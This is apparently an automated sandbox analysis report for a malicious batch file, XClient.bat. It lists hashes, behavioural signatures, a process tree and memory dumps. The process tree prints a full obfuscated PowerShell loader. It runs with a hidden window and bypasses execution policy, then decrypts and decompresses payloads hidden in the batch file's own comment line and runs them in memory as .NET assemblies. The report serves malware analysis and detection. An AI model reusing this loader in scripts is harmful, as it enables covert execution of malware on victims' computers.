Analysis

  • max time kernel
    119s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    31-05-2024 12:54

General

  • Target

    XClient.bat

  • Size

    306KB

  • MD5

    5f114fbb47589f072b2329adeab0e2d7

  • SHA1

    1572da87baa2fcd945be9ca5073cf2c27a5e4eda

  • SHA256

    976bef5e2f4128e42bb344af988b88e188503c4f7df7452ee1a87947eea833a1

  • SHA512

    4ffba8c4bc5771f90b64825880e033192bbafdf1952a29893d35821dbe675fc57b942ff22831848e3081da751804572f61b214cdc8b2a42523d069343f112b69

  • SSDEEP

    6144:rCIqB5Xma5qnV7R+N8ymXO55y6wXYjuvgfazxjjNzMGryBNYqi/v:rJqnheT68ym6vfazxDyBiX

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('W9ISWKk0uktoB21K/n8WP2z/EMIVG4ajR8KxvaCHQZc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NiPaOPsEhb3GYyQq1AToPQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TYqPW=New-Object System.IO.MemoryStream(,$param_var); $wUcjc=New-Object System.IO.MemoryStream; $lqjaM=New-Object System.IO.Compression.GZipStream($TYqPW, [IO.Compression.CompressionMode]::Decompress); $lqjaM.CopyTo($wUcjc); $lqjaM.Dispose(); $TYqPW.Dispose(); $wUcjc.Dispose(); $wUcjc.ToArray();}function execute_function($param_var,$param2_var){ $zoSsA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VRasO=$zoSsA.EntryPoint; $VRasO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$qsbcF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient.bat').Split([Environment]::NewLine);foreach ($jzVlk in $qsbcF) { if ($jzVlk.StartsWith(':: ')) { $ZvyRr=$jzVlk.Substring(3); break; }}$payloads_var=[string[]]$ZvyRr.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2828

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2828-4-0x000007FEF53CE000-0x000007FEF53CF000-memory.dmp

    Filesize

    4KB

  • memory/2828-5-0x000000001B260000-0x000000001B542000-memory.dmp

    Filesize

    2.9MB

  • memory/2828-6-0x0000000001F50000-0x0000000001F58000-memory.dmp

    Filesize

    32KB

  • memory/2828-7-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2828-8-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2828-9-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2828-10-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2828-11-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2828-12-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

    Filesize

    9.6MB